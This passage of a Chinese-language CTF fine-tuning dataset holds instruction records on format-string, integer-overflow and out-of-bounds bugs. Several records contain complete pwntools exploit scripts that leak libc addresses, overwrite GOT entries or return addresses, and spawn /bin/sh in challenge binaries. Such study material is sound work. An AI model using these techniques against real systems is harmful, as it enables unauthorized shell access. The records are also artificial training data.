%ld\\n\", sd, sd);\n\n    printf(\"unsigned char  0x%x  : %u\\n\", ua, ua);\n    printf(\"unsigned short 0x%x  : %u\\n\", ub, ub);\n    printf(\"unsigned int   0x%x  : %u\\n\", uc, uc);\n    printf(\"unsigned long  0x%lx : %lu\\n\", ud, ud);\n}\n```\n\n+ 运行结果\n\n可以看到，输出的结果为每个整型变量的最大值。\n\n```shell\nsigned   char  0x7f  : 127\nsigned   short 0x7fff  : 32767\nsigned   int   0x7fffffff  : 2147483647\nsigned   long  0x7fffffffffffffff : 9223372036854775807\nunsigned char  0xff  : 255\nunsigned short 0xffff  : 65535\nunsigned int   0xffffffff  : 4294967295\nunsigned long  0xffffffffffffffff : 18446744073709551615\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-doc-52977a4311b369ed", "original_line": 472, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1cefdacdcf162f778645", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/格式化字符串/yz.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/格式化字符串/yz.c`\n\n分类：misc_vuln\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n\n函数/封装：\n- `main`\n\n训练用代码片段：\n```c\n#include \n#include \n\nint main(int argc, char *argv[])\n{\n  setvbuf(stdout,0,2,0);\n  char s[100]=\"aaaaaaaa.%p-%p-%p-%p-%p-%p-%p-%p-%p\";\n  printf(s);\n  return EXIT_SUCCESS;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-code-dc60a056fd2fdde2", "original_line": 462, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/yz.c", "split": "train", "split_group_key": "5971ddce07d339b5e1acd249"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/yz.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1f70af7ad18276bfa9db", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「基础知识」。\n资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 基础知识\n\n+ 常见格式化字符串函数\n\n| **函数**  | **基本介绍**                           |\n| :-------- | :------------------------------------- |\n| printf    | 输出到stdout                           |\n| fprintf   | 输出到指定FILE流                       |\n| vprintf   | 根据参数列表格式化输出到stdout         |\n| vfprintf  | 根据参数列表格式化输出到FILE流         |\n| sprintf   | 输出到字符串                           |\n| snprintf  | 输出指定字节数到字符串                 |\n| vsprintf  | 根据参数列表格式化输出到字符串         |\n| vsnprintf | 根据参数列表格式化输出指定字节到字符串 |\n\n\n+ 常见格式化字符串参数\n  - `%c`：输出字符，配上`%n`可用于向指定地址写数据。\n  - `%d`：输出十进制整数，配上`%n`可用于向指定地址写数据。\n  - `%p`：输出16进制数据，与`%x`基本一样，只是附加了前缀`0x`，在32位下输出4字节，在64位下输出8字节，可通过输出字节的长度来判断目标环境是32位还是64位。\n  - `%s`：输出的内容是字符串，即将偏移处指针指向的字符串输出，如`%i$s`表示输出偏移i处地址所指向的字符串，在32位和64位环境下一样，可用于读取GOT表等信息。\n  - `%n`：将`%n`之前`printf`已经打印的字符个数赋值给偏移处指针所指向的地址位置，如`%100×10$n`表示将0x64写入偏移10处保存的指针所指向的地址（4字节），而`%$hn`表示写入的地址空间为2字节，`%$hhn`表示写入的地址空间为1字节，`%$lln`表示写入的地址空间为8字节，在32位和64位环境下一样。有时，直接写4字节会导致程序崩溃或等候时间过长，可以通过`%$hn`或`%$hhn`来适时调整。\n  - `%n`是通过格式化字符串漏洞改变程序流程的关键方式，而其他格式化字符串参数可用于读取信息或配合`%n`写数据。\n+ 常用格式化字符串形式\n\n```plain\n%[parameter][flags][field width][.precision][length]type\n例如 %2$08hx %.8lf\n```\n\n+ `parameter`：`n$` ，获取格式化字符串中的指定第 n 个参数\n+ `flags`：在 `width` 设置后指定可以用来作为填充的内容之类的内容\n+ `field width`：输出的最小宽度\n+ `precision`：输出的最大长度\n+ `length`，输出的长度\n  - `hh`，输出一个字节\n  - `h`，输出一个双字节\n+ `type`\n  - `d/i`,有符号整数\n  - `u`，无符号整数\n  - `x/X`,16进制\n  - `o`，8进制\n  - `s`，所有字节\n  - `c`，char类型单个字符\n  - `p`，`void *` 型，输出对应变量的值。`printf(\"%p\",a)` 用地址的格式打印变量 `a` 的值，`printf(\"%p\", &a)` 打印变量 `a` 所在的地址。\n  - `n`，不输出字符，但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。\n    * `hhn` 写一字节\n    * `hn` 写两字节\n    * `n` 写四字节\n    * `ln` 32 位写四字节，64 位写八字节\n    * `lln` 写八字节", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 22, "ctf_task_type": "misc", "original_id": "pwn101-doc-a634390f84650b75", "original_line": 48, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "split_group_key": "66ee73d9d84fbb78d933b045"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-23664e4e3a0c2464c0f9", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「信息收集」。\n资料来源：其它/2024ccb anote/WP.md；主题：2024 CCB anote Writeup；分类：misc_pwn。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 信息收集\n\n程序开启 NX 和 Canary，但没有 PIE：\n\n```text\nArch:    i386-32-little\nRELRO:   Partial RELRO\nCanary:  found\nNX:      enabled\nPIE:     disabled, base 0x8048000\n```\n\n关键地址如下：\n\n```text\nbackdoor = 0x80489ce\nnote 构造函数 sub_8048DFC = 0x8048dfc\nshow 函数 sub_80489E8 = 0x80489e8\nedit 函数 sub_8048A86 = 0x8048a86\n```\n\n`backdoor()` 直接执行：\n\n```c\nint backdoor() {\n    return system(\"/bin/sh\");\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-00238f1d5fe3875c", "original_line": 426, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ccb anote/WP.md", "split": "train", "split_group_key": "aa9c59f952e984a63242d11f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ccb anote/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2c3a231e87767978da7a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「=============================」。\n资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# =============================\np.sendafter(\"please input:\\n\", \"%p%5$p%7$p%9$p\")\n\nelf.address = int(p.recv(14), 16) - 0x2012\ninfo(\"elf base: \" + hex(elf.address))\n\nld_base = int(p.recv(14), 16) - 0x11d60\ninfo(\"ld base: \" + hex(ld_base))\n\nlibc.address = int(p.recv(14), 16) - 0x24083\ninfo(\"libc base: \" + hex(libc.address))\n\nstack_addr = int(p.recv(14), 16) - 0xf8\ninfo(\"stack addr: \" + hex(stack_addr))", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-3f725aea47daddd7", "original_line": 489, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "split_group_key": "66ee73d9d84fbb78d933b045"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2e8c9625a2b728476107", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它/2024geek-我的空调呢/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它/2024geek-我的空调呢/exp.py`\n\n分类：misc_pwn\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `dbg`\n- `delete`\n- `edite`\n- `fun`\n- `menu`\n- `view`\n\n关键常量/偏移样例：\n`0xffff`, `0x0000000000052290`, `0x0000000000061C90`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\nia = lambda: io.interactive()\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\nlibc = ELF('./libc.so.6')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef menu(num):\n    sla(\":\",str(num).encode())\n\ndef add(name,introduce):\n    menu(1)\n    sa(\"Your name:\",name)\n    sa(\"Introduce:\",introduce)\n\ndef view(id):\n    menu(2)\n    sla(\"Index: \",str(id).encode())\n\ndef delete(id):\n    menu(3)\n    sla(\"Index: \",str(id).encode())\n\ndef edite(id,payload):\n    menu(4)\n    sla(\"Index: \",str(id).encode())\n    sa(\"message:\",payload)\n\ndef fun(address):\n    menu(5)\n    sla('(such as 0xffff)',str(hex(address)).encode())\n    ru(\"massege:\")\n    return u64(r(8))\n\nputs_got = elf.got.printf\nlibc = fun(puts_got)-0x0000000000061C90\nlg(\"libc\",libc)\n\nprintf = libc + 0x0000000000061C90\nsystem = libc + 0x0000000000052290\n\nedite(-4,p64(0)+p64(printf)+p64(system))\n#add 一次，姓名设为 /bin/sh，随后 delete 即可 getshell\nadd(b'/bin/sh',b'a')\ndelete(0)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-code-d63f033314416f56", "original_line": 418, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024geek-我的空调呢/exp.py", "split": "train", "split_group_key": "f4d7bb64c6332632582b348c"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024geek-我的空调呢/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-328901ac8869f1a4b590", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/格式化字符串/fmtstr_payload/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/格式化字符串/fmtstr_payload/exp_cli.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n关键常量/偏移样例：\n`0x804979C`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc: ELF = gift.libc\n\nfini=0x804979C\n\npayload=fmtstr_payload(4,{fini:elf.sym.main})\n\nr()\nsl(payload)\n\npayload=fmtstr_payload(4,{elf.got.printf:elf.got.system})\nr()\nsl(payload)\n\nr()\nsl(b\"/bin/sh\\x00\")\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-code-f8be139c86f7ed5b", "original_line": 45, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/fmtstr_payload/exp_cli.py", "split": "train", "split_group_key": "dd5c196eeb4ca27a8ce43757"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/fmtstr_payload/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-36be17a9f01a0a7ef866", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 例题\n\n>[WUSTCTF 2020]name your dog\n\n- 分析\n\n题目下载：[2020WUSTCTF name your dog.zip](https://www.yuque.com/attachments/yuque/0/2026/zip/28737143/1773505065706-130e079b-369b-44af-ad4f-27acc8c85e02.zip)\n\nchecksec 查看程序保护，仅没有`PIE`保护。\n\n[图片: image]\n\n[图片: Pasted image 20250222220210]\n\nida 反编译分析，查看主函数。\n\n发现主函数调用了`init`以及`vulnerable`。\n\n这里我们可以猜测`init`应该是`setbuf`类的初始化函数，接下来跟进`vulnerable`函数中分析。\n\n[图片: image][图片: image]\n\n这里程序进行了多次循环，然后将`v3`作为参数调用了一个函数`NameWhich`，我们跟进分析。\n\n[图片: image][图片: image]\n\n这里我们分析发现程序存在数组越界漏洞。\n\n第一个`scanf`函数接收整数存到`v2`变量中，第二个`scanf`函数将输入 7 个字节的内容到参数指定的地址。在第二个`scanf`函数中`a1`变量决定了基地址，而`8*v[0]`的内容决定了偏移地址。而其中只有`v[0]`是变量，并且是我们可以决定的。\n\n[图片: image]\n\n之后我们在函数窗口中发现后门函数。\n\n[图片: image]\n\n- 利用思路\n\n`a1`变量是调用`NameWhich`函数时传入的参数`v3`，`v3`是一个字符数组。我们可以通过控制`v2`的值使其地址偏移到返回地址处，然后通过`scanf`函数修改返回地址进行 getshell。\n\n[图片: image]\n\n`v3`变量距离返回地址 56 字节，`56\\8=7`。所以我们`v2`变量输入 7 即可。\n\n直接通过数组越界漏洞写返回地址为`shell`函数。\n\n+ exp\n\n```python\nfrom pwn import *\ncontext(os='linux', arch='amd64', log_level='debug')\n\ndef s(a) : p.send(a)\ndef sa(a, b) : p.sendafter(a, b)\ndef sl(a) : p.sendline(a)\ndef sla(a, b) : p.sendlineafter(a, b)\ndef r() : return p.recv()\ndef pr() : print(p.recv())\ndef rl(a) : return p.recvuntil(a)\ndef ia() : p.interactive()\n\np = process('./pwn')\nelf = ELF('./pwn')\nlibc = ELF('/tools/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc-2.31.so')\n\nsla(b'>', b'-7')\nsla(b'plz: ', p32(elf.sym['shell']))\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-eb0323aaf34ecaab", "original_line": 479, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3f8224bec15db397e0d9", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/整数溢出/cmp.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/整数溢出/cmp.c`\n\n分类：misc_vuln\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n\n函数/封装：\n- `main`\n\n训练用代码片段：\n```c\n#include \n\nint main() {\n    int a = -1;\n    unsigned int b = 1;\n    if (a < b) {  // 无符号和有符号整数比较，结果不如预期\n        printf(\"a is less than b\\n\");\n    } else {\n        printf(\"a is not less than b\\n\");\n    }\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-code-12a9c9fcd1f8ff74", "original_line": 440, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/cmp.c", "split": "train", "split_group_key": "aabe4552e79beb9fd738d209"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/cmp.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-469b8334549679fe7b67", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「=============================」。\n资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# =============================\np.sendafter(\"please input:\\n\", \"exit\\x00\")\n\np.interactive()\n```\n\n由于我们有了**栈上相对地址写原语**，因此可以进一步构造**任意地址写原语**：\n\n[图片: image]\n\n```python\nfrom pwn import *", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-383011467d8cc755", "original_line": 47, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "split_group_key": "66ee73d9d84fbb78d933b045"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-479821b103f85ad3cc26", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「题目分析」。\n资料来源：其它/2024das usersys/wp.md；主题：2024das usersys；分类：misc_pwn。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 题目分析\n\n题目为 64 位程序，保护全开。\n\n32 位菜单题，`add` 不能输入内容，`edit` 时可以溢出写 (`0x28 > 0x1c`)，`show` 会泄露堆地址。 由于是 C++ 题，申请的堆块开头存在一个虚表，在 edit 完成时调用，可以通过溢出写覆盖虚表。 通过 `show` 泄露堆地址后，可以在堆上写一个虚表，并在其中写上程序中的后门地址，然后调用 `edit` 即可拿 shell。\n\n[图片: Pasted image 20250606172724]\n\n题目给了后门函数：\n\n[图片: image-20260207194534184]\n\n程序在初始化以后，推测初始化了几个数据结构，继续跟踪到主逻辑，不能以root的身份登录，\n\n可以以admin或guest的身份登录。在判断身份之后，有两个间接调用。\n\n[图片: img]\n\n查阅初始化过程，发现是调用了写在结构体头上的函数表，即函数虚表。继续跟踪，admin可以读取所有guest的名字，\n\n或者清除所有记录。里面有两个行为相反的，针对`guest`对象的函数，推测clear对应写入，show对应读取。\n\n打开的文件都是`Guest_Data`。\n\n[图片: img]\n\n还剩一个guest的虚表，对应的函数只有一个功能，就是尝试留下guest的名字。在函数起始时读取了文件，\n\n读出了用户数量，如果**大于等于5**就无法留下名字，然后在输入时，再次读取了文件同步数据。\n\n然后就将数据写入了`this->guests[this->logcount]`的位置，**过程中没有大于等于5的检查**。\n\n[图片: img]\n\n由此我们可以简单地考虑，如果能在发起1个请求后写入4个名字后进入输入名字确认环节，同时再起一个进程发送请求，\n\n此时进入输入名字确认环节，我们再输入1个名字，就可以绕过大于等于5的检查，使得`logcount`成功变成5。\n\n接着我们给另一个进程输入名字时，就可以劫持到`logcount`，并使其变成任意值\n\n[图片: img]\n\n那么有了任意值写入以后，我们就可以做任意地址写。观察程序，发现存在后门函数，也是root的虚表中的函数，\n\n观察程序内存布局，`admin`对象是放在`guest`对象之后的，因此可以修改`logcount`，写入admin的虚表为root的虚表\n\n[图片: img]\n\n实际操作步骤：先创建一个连接，输入4个名字，然后再次进入输入guest name状态；创建第二个连接，进入输入状态；\n\n创建第三个连接，进入输入状态；接着第一个连接输入任意名字，扩展`logcount`为5后退出；\n\n此时第二个连接写入`\\x0a`到`logcount`后退出，随后`logcount`增加为`0xb`；最后第三个连接写入`\\x50`，", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-e02794829bf03a29", "original_line": 430, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024das usersys/wp.md", "split": "train", "split_group_key": "7a5a28ac35e806304f6403bf"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024das usersys/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-49d247c945bcecf46940", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「pwntools生成payload」。\n资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### pwntools生成payload\n\npwntools集成了一个可以自动生成格式化字符串任意地址覆盖的工具。\n\n我们较常使用的功能是\n\n```python\nfmtstr_payload(offset, {address:data}, numbwritten=0, write_size='byte')\n```\n\n+ `offset`表示格式化字符串的偏移\n+ `address`表示需要覆盖的地址\n+ `data`表示覆盖为的值\n+ `numbwritten`表示已经输出的字符个数\n+ `write_size`表示写入方式，是按字节（byte）、按双字节（short）还是按四字节（int），对应着hhn、hn和n，默认值是byte，即按hhn写。\n\n注意：部分题目格式化字符串漏洞会限制输入长度，导致pwntools生成的有些payload会失效。这样我们就只能通过手动来构造格式化字符串缩减长度了。", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 22, "ctf_task_type": "misc", "original_id": "pwn101-doc-cc53c2372f5ee79a", "original_line": 495, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "split_group_key": "66ee73d9d84fbb78d933b045"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4db5d648c9ce56d49a36", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/格式化字符串/axb_2019_fmt32/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/格式化字符串/axb_2019_fmt32/exp.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n关键常量/偏移样例：\n`0x100`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\n\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"/buu/32/libc-2.23.so\")\n\npayload=b\"a\"+p32(elf.got.printf)+b\"%8$s\"\npayload+=b\"a\"*(0x100-len(payload))\nru(\"me:\")\ns(payload)\nru(b\"Repeater:\")\nleak=u32(ru(b\"\\xf7\")[-4:].ljust(4,b\"\\x00\"))\nprint(hex(leak))\nlibc_base=leak-libc.sym.printf\nprint(hex(libc_base))\nsys=libc_base+libc.sym.system\nprint(hex(sys))\n\npayload=b\"a\"+fmtstr_payload(8,{elf.got.printf:sys})\npayload+=b\"a\"*(0x100-len(payload))\nru(\"me:\")\ns(payload)\npayload=b\"/bin/sh\\x00\"\npayload+=b\"a\"*(0x100-len(payload))\nru(\"me:\")\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-code-7c1bfc3eb877f159", "original_line": 454, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/axb_2019_fmt32/exp.py", "split": "train", "split_group_key": "64dfa4eb9fbb7003313e7ba6"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/axb_2019_fmt32/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4e516b0fbc34b7569e67", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「下界溢出」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 下界溢出\n\n> 极客大挑战-买黑吗喽了吗？\n\n+ 分析\n\n查保护发现，仅没有栈溢出保护。\n\n[图片: image]\n\n分析主函数，是一个菜单题，但不是堆题。\n\n[图片: image][图片: image]\n\n分析`shop`函数，这里接收一个整数输入。如果输入为`1`并且`number`不为负数和`0`则将`Balance`减去 32，并将`number`减 1。前面`main`函数将`Balance`初始化为 256。\n\n[图片: image][图片: image]\n\n这里的`Balance`是一个全局变量。\n\n[图片: image][图片: image]\n\n这里的`number`为 8，也就是我们可以执行这个部分代码 8 次。\n\n[图片: image][图片: image]\n\n接下来我们分析`view`函数。\n\n这里有个关键点，只要`Balance`大于 0x100 并且`FALG`变量不为零，则向`str1`写入 2 